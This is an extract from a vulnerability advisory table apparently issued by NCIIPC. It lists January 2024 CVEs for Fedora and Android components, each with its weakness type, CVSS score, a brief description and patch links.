Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-22372		
Vendor: Fedoraproject					
Product: fedora					
Affected Version(s): 38					
N/A	16-Jan-2024	9.8	The Mock software contains a vulnerability wherein an attacker could potentially exploit privilege escalation, enabling the execution of arbitrary code with root user privileges. This weakness stems from the absence of proper sandboxing during the expansion and execution of Jinja2 templates, which may be included in certain configuration parameters. While the Mock documentation advises treating users added to the mock group as privileged, certain build systems invoking mock on behalf of users might inadvertently permit less privileged users to define	http://www.openwall.com/lists/oss-security/2024/01/16/1, https://github.com/xsuchy/templated-dictionary/commit/0740bd0ca8d487301881541028977d120f8b8933, https://github.com/xsuchy/templated-dictionary/commit/bcd90f0dafa365575c4b101e6f5d98c4ef4e4b69	O-FED-FEDO-090224/2561

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			configuration tags. These tags could then be passed as parameters to mock during execution, potentially leading to the utilization of Jinja2 templates for remote privilege escalation and the execution of arbitrary code as the root user on the build server. **CVE ID : CVE-2023-6395**		
Integer Underflow (Wrap or Wraparound)	24-Jan-2024	9.8	Integer underflow in WebUI in Google Chrome prior to 121.0.6167.85 allowed a remote attacker to potentially exploit heap corruption via a malicious file. (Chromium security severity: High) **CVE ID : CVE-2024-0808**	https://chromereleases.googleblog.com/2024/01/stable-channel-update-for-desktop_23.html	O-FED-FEDO-090224/2562
Out-of-bounds Write	16-Jan-2024	8.8	Out of bounds write in V8 in Google Chrome prior to 120.0.6099.224 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium	N/A	O-FED-FEDO-090224/2563

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			security severity: High) **CVE ID : CVE-2024-0517**		
Access of Resource Using Incompatible Type ('Type Confusion')	16-Jan-2024	8.8	Type confusion in V8 in Google Chrome prior to 120.0.6099.224 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High) **CVE ID : CVE-2024-0518**	N/A	O-FED-FEDO-090224/2564
Use After Free	24-Jan-2024	8.8	Use after free in Passwords in Google Chrome prior to 121.0.6167.85 allowed a remote attacker to potentially exploit heap corruption via specific UI interaction. (Chromium security severity: Medium) **CVE ID : CVE-2024-0806**	https://chromereleases.googleblog.com/2024/01/stable-channel-update-for-desktop_23.html	O-FED-FEDO-090224/2565
Use After Free	24-Jan-2024	8.8	Use after free in Web Audio in Google Chrome prior to 121.0.6167.85 allowed a remote attacker to potentially exploit	https://chromereleases.googleblog.com/2024/01/stable-channel-update-for-desktop_23.html	O-FED-FEDO-090224/2566

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			heap corruption via a crafted HTML page. (Chromium security severity: High) **CVE ID : CVE-2024-0807**		
N/A	24-Jan-2024	8.8	Inappropriate implementation in Accessibility in Google Chrome prior to 121.0.6167.85 allowed a remote attacker to potentially exploit object corruption via a crafted HTML page. (Chromium security severity: High) **CVE ID : CVE-2024-0812**	https://chromereleases.googleblog.com/2024/01/stable-channel-update-for-desktop_23.html	O-FED-FEDO-090224/2567
Use After Free	24-Jan-2024	8.8	Use after free in Reading Mode in Google Chrome prior to 121.0.6167.85 allowed an attacker who convinced a user to install a malicious extension to potentially exploit heap corruption via specific UI interaction. (Chromium security severity: Medium) **CVE ID : CVE-2024-0813**	https://chromereleases.googleblog.com/2024/01/stable-channel-update-for-desktop_23.html	O-FED-FEDO-090224/2568

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Out-of-bounds Read	23-Jan-2024	7.5	An out-of-bounds read vulnerability was found in Netfilter Connection Tracking (conntrack) in the Linux kernel. This flaw allows a remote user to disclose sensitive information via the DCCP protocol. **CVE ID : CVE-2023-39197**	N/A	O-FED-FEDO-090224/2569
N/A	24-Jan-2024	7.5	Insufficient policy enforcement in iOS Security UI in Google Chrome prior to 121.0.6167.85 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium) **CVE ID : CVE-2024-0804**	https://chromereleases.googleblog.com/2024/01/stable-channel-update-for-desktop_23.html	O-FED-FEDO-090224/2570
Origin Validation Error	24-Jan-2024	6.5	Incorrect security UI in Payments in Google Chrome prior to 121.0.6167.85 allowed a remote attacker to potentially spoof security UI via a crafted HTML page. (Chromium	https://chromereleases.googleblog.com/2024/01/stable-channel-update-for-desktop_23.html	O-FED-FEDO-090224/2571

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			security severity: Medium) **CVE ID : CVE-2024-0814**		
N/A	24-Jan-2024	4.3	Inappropriate implementation in Downloads in Google Chrome prior to 121.0.6167.85 allowed a remote attacker to perform domain spoofing via a crafted domain name. (Chromium security severity: Medium) **CVE ID : CVE-2024-0805**	https://chromereleases.googleblog.com/2024/01/stable-channel-update-for-desktop_23.html	O-FED-FEDO-090224/2572
N/A	24-Jan-2024	4.3	Inappropriate implementation in Autofill in Google Chrome prior to 121.0.6167.85 allowed a remote attacker to bypass Autofill restrictions via a crafted HTML page. (Chromium security severity: Low) **CVE ID : CVE-2024-0809**	https://chromereleases.googleblog.com/2024/01/stable-channel-update-for-desktop_23.html	O-FED-FEDO-090224/2573
N/A	24-Jan-2024	4.3	Inappropriate implementation in Extensions API in Google Chrome prior to 121.0.6167.85 allowed an attacker who convinced a	https://chromereleases.googleblog.com/2024/01/stable-channel-update-for-desktop_23.html	O-FED-FEDO-090224/2574

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			user to install a malicious extension to leak cross-origin data via a crafted Chrome Extension. (Chromium security severity: Low) **CVE ID : CVE-2024-0811**		
Affected Version(s): 39					
N/A	16-Jan-2024	9.8	The Mock software contains a vulnerability wherein an attacker could potentially exploit privilege escalation, enabling the execution of arbitrary code with root user privileges. This weakness stems from the absence of proper sandboxing during the expansion and execution of Jinja2 templates, which may be included in certain configuration parameters. While the Mock documentation advises treating users added to the mock group as privileged, certain build systems	http://www.openwall.com/lists/oss-security/2024/01/16/1, https://github.com/xsuchy/templated-dictionary/commit/0740bd0ca8d487301881541028977d120f8b8933, https://github.com/xsuchy/templated-dictionary/commit/bcd90f0dafa365575c4b101e6f5d98c4ef4e4b69	O-FED-FEDO-090224/2575

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			invoking mock on behalf of users might inadvertently permit less privileged users to define configuration tags. These tags could then be passed as parameters to mock during execution, potentially leading to the utilization of Jinja2 templates for remote privilege escalation and the execution of arbitrary code as the root user on the build server. **CVE ID : CVE-2023-6395**		
Out-of-bounds Write	18-Jan-2024	9.8	A flaw was found in X.Org server. Both DeviceFocusEvent and the XIQueryPointer reply contain a bit for each logical button currently down. Buttons can be arbitrarily mapped to any value up to 255, but the X.Org Server was only allocating space for the device's particular number of buttons, leading to a heap overflow	http://www.openwall.com/lists/oss-security/2024/01/18/1	O-FED-FEDO-090224/2576

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			if a bigger value was used. **CVE ID : CVE-2023-6816**		
Integer Underflow (Wrap or Wraparound)	24-Jan-2024	9.8	Integer underflow in WebUI in Google Chrome prior to 121.0.6167.85 allowed a remote attacker to potentially exploit heap corruption via a malicious file. (Chromium security severity: High) **CVE ID : CVE-2024-0808**	https://chromereleases.googleblog.com/2024/01/stable-channel-update-for-desktop_23.html	O-FED-FEDO-090224/2577
Out-of-bounds Write	16-Jan-2024	8.8	Out of bounds write in V8 in Google Chrome prior to 120.0.6099.224 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High) **CVE ID : CVE-2024-0517**	N/A	O-FED-FEDO-090224/2578
Access of Resource Using Incompatible Type ('Type Confusion')	16-Jan-2024	8.8	Type confusion in V8 in Google Chrome prior to 120.0.6099.224 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML	N/A	O-FED-FEDO-090224/2579

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			page. (Chromium security severity: High) **CVE ID : CVE-2024-0518**		
Use After Free	24-Jan-2024	8.8	Use after free in Passwords in Google Chrome prior to 121.0.6167.85 allowed a remote attacker to potentially exploit heap corruption via specific UI interaction. (Chromium security severity: Medium) **CVE ID : CVE-2024-0806**	https://chromereleases.googleblog.com/2024/01/stable-channel-update-for-desktop_23.html	O-FED-FEDO-090224/2580
Use After Free	24-Jan-2024	8.8	Use after free in Web Audio in Google Chrome prior to 121.0.6167.85 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High) **CVE ID : CVE-2024-0807**	https://chromereleases.googleblog.com/2024/01/stable-channel-update-for-desktop_23.html	O-FED-FEDO-090224/2581
N/A	24-Jan-2024	8.8	Inappropriate implementation in Accessibility in Google Chrome prior to 121.0.6167.85	https://chromereleases.googleblog.com/2024/01/stable-channel-update-for-	O-FED-FEDO-090224/2582

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			allowed a remote attacker to potentially exploit object corruption via a crafted HTML page. (Chromium security severity: High) **CVE ID : CVE-2024-0812**	desktop_23.html	
Use After Free	24-Jan-2024	8.8	Use after free in Reading Mode in Google Chrome prior to 121.0.6167.85 allowed an attacker who convinced a user to install a malicious extension to potentially exploit heap corruption via specific UI interaction. (Chromium security severity: Medium) **CVE ID : CVE-2024-0813**	https://chromereleases.googleblog.com/2024/01/stable-channel-update-for-desktop_23.html	O-FED-FEDO-090224/2583
Out-of-bounds Write	18-Jan-2024	7.8	A flaw was found in the X.Org server. The cursor code in both Xephyr and Xwayland uses the wrong type of private at creation. It uses the cursor bits type with the cursor as private, and when initiating the cursor, that	N/A	O-FED-FEDO-090224/2584

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			overwrites the XSELINUX context. **CVE ID : CVE-2024-0409**		
Observable Discrepancy	16-Jan-2024	7.5	A vulnerability was found in GnuTLS. The response times to malformed ciphertexts in RSA-PSK ClientKeyExchange differ from the response times of ciphertexts with correct PKCS#1 v1.5 padding. This issue may allow a remote attacker to perform a timing side-channel attack in the RSA-PSK key exchange, potentially leading to the leakage of sensitive data. CVE-2024-0553 is designated as an incomplete resolution for CVE-2023-5981. **CVE ID : CVE-2024-0553**	https://gitlab.com/gnutls/gnutls/-/issues/1522	O-FED-FEDO-090224/2585
N/A	24-Jan-2024	7.5	Insufficient policy enforcement in iOS Security UI in Google Chrome prior to 121.0.6167.85 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium	https://chromereleases.googleblog.com/2024/01/stable-channel-update-for-desktop_23.html	O-FED-FEDO-090224/2586

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			security severity: Medium) **CVE ID : CVE-2024-0804**		
N/A	18-Jan-2024	6.6	A flaw was found in the Netfilter subsystem in the Linux kernel. The issue is in the nft_byteorder_eval( ) function, where the code iterates through a loop and writes to the `dst` array. On each iteration, 8 bytes are written, but `dst` is an array of u32, so each element only has space for 4 bytes. That means every iteration overwrites part of the previous element corrupting this array of u32. This flaw allows a local user to cause a denial of service or potentially break NetFilter functionality. **CVE ID : CVE-2024-0607**	https://bugzilla.redhat.com/show_bug.cgi?id=2258635, https://github.com/torvalds/linux/commit/c301f0981fdd3fd1ffac6836b423c4d7a8e0eb63	O-FED-FEDO-090224/2587
Origin Validation Error	24-Jan-2024	6.5	Incorrect security UI in Payments in Google Chrome prior to 121.0.6167.85 allowed a remote attacker to potentially spoof	https://chromereleases.googleblog.com/2024/01/stable-channel-update-for-	O-FED-FEDO-090224/2588

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			security UI via a crafted HTML page. (Chromium security severity: Medium) **CVE ID : CVE-2024-0814**	desktop_23.html	
Use After Free	16-Jan-2024	5.5	A heap use-after-free issue has been identified in SQLite in the jsonParseAddNodeArray() function in sqlite3.c. This flaw allows a local attacker to leverage a victim to pass specially crafted malicious input to the application, potentially causing a crash and leading to a denial of service. **CVE ID : CVE-2024-0232**	N/A	O-FED-FEDO-090224/2589
N/A	18-Jan-2024	5.5	A flaw was found in the X.Org server. The GLX PBuffer code does not call the XACE hook when creating the buffer, leaving it unlabeled. When the client issues another request to access that resource (as with a GetGeometry) or when it creates another resource that needs to	N/A	O-FED-FEDO-090224/2590

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			access that buffer, such as a GC, the XSELINUX code will try to use an object that was never labeled and crash because the SID is NULL. **CVE ID : CVE-2024-0408**		
N/A	24-Jan-2024	4.3	Inappropriate implementation in Downloads in Google Chrome prior to 121.0.6167.85 allowed a remote attacker to perform domain spoofing via a crafted domain name. (Chromium security severity: Medium) **CVE ID : CVE-2024-0805**	https://chromereleases.googleblog.com/2024/01/stable-channel-update-for-desktop_23.html	O-FED-FEDO-090224/2591
N/A	24-Jan-2024	4.3	Inappropriate implementation in Autofill in Google Chrome prior to 121.0.6167.85 allowed a remote attacker to bypass Autofill restrictions via a crafted HTML page. (Chromium security severity: Low) **CVE ID : CVE-2024-0809**	https://chromereleases.googleblog.com/2024/01/stable-channel-update-for-desktop_23.html	O-FED-FEDO-090224/2592
N/A	24-Jan-2024	4.3	Inappropriate implementation in	https://chromereleases.google	O-FED-FEDO-090224/2593

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Extensions API in Google Chrome prior to 121.0.6167.85 allowed an attacker who convinced a user to install a malicious extension to leak cross-origin data via a crafted Chrome Extension. (Chromium security severity: Low) **CVE ID : CVE-2024-0811**	blog.com/2024/01/stable-channel-update-for-desktop_23.html	
Vendor: Google					
Product: android					
Affected Version(s): -					
N/A	26-Jan-2024	4.3	Microsoft Edge for Android Information Disclosure Vulnerability **CVE ID : CVE-2024-21382**	https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-21382	O-GOO-ANDR-090224/2594
Affected Version(s): 11.0					
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48340**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	O-GOO-ANDR-090224/2595

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Out-of-bounds Read	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds read due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48341**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	O-GOO-ANDR-090224/2596
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48343**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	O-GOO-ANDR-090224/2597
Out-of-bounds Read	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds read due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48344**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	O-GOO-ANDR-090224/2598
Out-of-bounds Read	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds read	https://www.unisoc.com/en_us/secy/announc	O-GOO-ANDR-090224/2599

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48345**	ementDetail/17457352004422 20545	
N/A	18-Jan-2024	5.5	In video decoder, there is a possible improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48346**	https://www.unisoc.com/en_us/secy/announcementDetail/17457352004422 20545	O-GOO-ANDR-090224/2600
Out-of-bounds Read	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds read due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48347**	https://www.unisoc.com/en_us/secy/announcementDetail/17457352004422 20545	O-GOO-ANDR-090224/2601
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to improper input validation. This could lead to local denial of service with no	https://www.unisoc.com/en_us/secy/announcementDetail/17457352004422 20545	O-GOO-ANDR-090224/2602

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			additional execution privileges needed **CVE ID : CVE-2023-48348**		
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48349**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	O-GOO-ANDR-090224/2603
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48350**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	O-GOO-ANDR-090224/2604
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48351**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	O-GOO-ANDR-090224/2605

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Out-of-bounds Write	18-Jan-2024	5.5	In phasecheckserver, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48352**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	O-GOO-ANDR-090224/2606
N/A	18-Jan-2024	5.5	In telephone service, there is a possible improper input validation. This could lead to local information disclosure with no additional execution privileges needed **CVE ID : CVE-2023-48354**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	O-GOO-ANDR-090224/2607
Missing Authorization	18-Jan-2024	4.4	In jpg driver, there is a possible missing permission check. This could lead to local information disclosure with System execution privileges needed **CVE ID : CVE-2023-48339**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	O-GOO-ANDR-090224/2608
Out-of-bounds Write	18-Jan-2024	4.4	In media service, there is a possible out of bounds write due to a missing bounds check. This could lead to local	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	O-GOO-ANDR-090224/2609

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			denial of service with System execution privileges needed **CVE ID : CVE-2023-48342**		
Use After Free	18-Jan-2024	4.4	In vsp driver, there is a possible use after free due to a logic error. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48353**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	O-GOO-ANDR-090224/2610
Out-of-bounds Write	18-Jan-2024	4.4	In jpg driver, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48355**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	O-GOO-ANDR-090224/2611
Out-of-bounds Write	18-Jan-2024	4.4	In jpg driver, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48356**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	O-GOO-ANDR-090224/2612

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Out-of-bounds Write	18-Jan-2024	4.4	In vsp driver, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48357**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	O-GOO-ANDR-090224/2613
Out-of-bounds Write	18-Jan-2024	4.4	In drm driver, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48358**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	O-GOO-ANDR-090224/2614
Out-of-bounds Write	18-Jan-2024	4.4	In autotest driver, there is a possible out of bounds write due to improper input validation. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48359**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	O-GOO-ANDR-090224/2615
Affected Version(s): 12.0					
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to improper input validation.	https://www.unisoc.com/en_us/secy/announcementDetail/17	O-GOO-ANDR-090224/2616

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48340**	457352004422 20545	
Out-of-bounds Read	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds read due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48341**	https://www.unisoc.com/en_us/secy/announcementDetail/17457352004422 20545	O-GOO-ANDR-090224/2617
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48343**	https://www.unisoc.com/en_us/secy/announcementDetail/17457352004422 20545	O-GOO-ANDR-090224/2618
Out-of-bounds Read	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds read due to improper input validation. This could lead to local denial of service with no	https://www.unisoc.com/en_us/secy/announcementDetail/17457352004422 20545	O-GOO-ANDR-090224/2619

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			additional execution privileges needed **CVE ID : CVE-2023-48344**		
Out-of-bounds Read	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds read due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48345**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	O-GOO-ANDR-090224/2620
N/A	18-Jan-2024	5.5	In video decoder, there is a possible improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48346**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	O-GOO-ANDR-090224/2621
Out-of-bounds Read	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds read due to improper input validation. This could lead to local denial of service with no additional execution privileges needed	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	O-GOO-ANDR-090224/2622

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-48347		
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48348**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	O-GOO-ANDR-090224/2623
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48349**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	O-GOO-ANDR-090224/2624
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48350**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	O-GOO-ANDR-090224/2625

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48351**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	O-GOO-ANDR-090224/2626
Out-of-bounds Write	18-Jan-2024	5.5	In phasecheckserver, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48352**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	O-GOO-ANDR-090224/2627
N/A	18-Jan-2024	5.5	In telephone service, there is a possible improper input validation. This could lead to local information disclosure with no additional execution privileges needed **CVE ID : CVE-2023-48354**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	O-GOO-ANDR-090224/2628
Missing Authorization	18-Jan-2024	4.4	In jpg driver, there is a possible missing permission check. This could lead to local	https://www.unisoc.com/en_us/secy/announcementDetail/17	O-GOO-ANDR-090224/2629

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			information disclosure with System execution privileges needed **CVE ID : CVE-2023-48339**	457352004422 20545	
Out-of-bounds Write	18-Jan-2024	4.4	In media service, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48342**	https://www.unisoc.com/en_us/secy/announcementDetail/17457352004422 20545	O-GOO-ANDR-090224/2630
Use After Free	18-Jan-2024	4.4	In vsp driver, there is a possible use after free due to a logic error. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48353**	https://www.unisoc.com/en_us/secy/announcementDetail/17457352004422 20545	O-GOO-ANDR-090224/2631
Out-of-bounds Write	18-Jan-2024	4.4	In jpg driver, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48355**	https://www.unisoc.com/en_us/secy/announcementDetail/17457352004422 20545	O-GOO-ANDR-090224/2632

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Out-of-bounds Write	18-Jan-2024	4.4	In jpg driver, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48356**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	O-GOO-ANDR-090224/2633
Out-of-bounds Write	18-Jan-2024	4.4	In vsp driver, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48357**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	O-GOO-ANDR-090224/2634
Out-of-bounds Write	18-Jan-2024	4.4	In drm driver, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48358**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	O-GOO-ANDR-090224/2635
Out-of-bounds Write	18-Jan-2024	4.4	In autotest driver, there is a possible out of bounds write due to improper input validation. This could lead to	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	O-GOO-ANDR-090224/2636

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			local denial of service with System execution privileges needed **CVE ID : CVE-2023-48359**		
Affected Version(s): 13.0					
Out-of-bounds Write	18-Jan-2024	5.5	In phasecheckserver, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48352**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	O-GOO-ANDR-090224/2637
N/A	18-Jan-2024	5.5	In telephone service, there is a possible improper input validation. This could lead to local information disclosure with no additional execution privileges needed **CVE ID : CVE-2023-48354**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	O-GOO-ANDR-090224/2638
Missing Authorization	18-Jan-2024	4.4	In jpg driver, there is a possible missing permission check. This could lead to local information disclosure with System execution privileges needed	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	O-GOO-ANDR-090224/2639

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-48339		
Out-of-bounds Write	18-Jan-2024	4.4	In media service, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48342**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	O-GOO-ANDR-090224/2640
Use After Free	18-Jan-2024	4.4	In vsp driver, there is a possible use after free due to a logic error. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48353**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	O-GOO-ANDR-090224/2641
Out-of-bounds Write	18-Jan-2024	4.4	In jpg driver, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48355**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	O-GOO-ANDR-090224/2642
Out-of-bounds Write	18-Jan-2024	4.4	In jpg driver, there is a possible out of bounds write due to a missing bounds check. This	https://www.unisoc.com/en_us/secy/announcementDetail/17	O-GOO-ANDR-090224/2643

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48356**	457352004422 20545	
Out-of-bounds Write	18-Jan-2024	4.4	In vsp driver, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48357**	https://www.unisoc.com/en_us/secy/announcementDetail/17457352004422 20545	O-GOO-ANDR-090224/2644
Out-of-bounds Write	18-Jan-2024	4.4	In drm driver, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48358**	https://www.unisoc.com/en_us/secy/announcementDetail/17457352004422 20545	O-GOO-ANDR-090224/2645
Out-of-bounds Write	18-Jan-2024	4.4	In autotest driver, there is a possible out of bounds write due to improper input validation. This could lead to local denial of service with System execution privileges needed	https://www.unisoc.com/en_us/secy/announcementDetail/17457352004422 20545	O-GOO-ANDR-090224/2646

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-48359		
Vendor: hitron_systems					
Product: dvr_hvr-4781_firmware					
Affected Version(s): From (including) 1.03 Up to (including) 4.02					
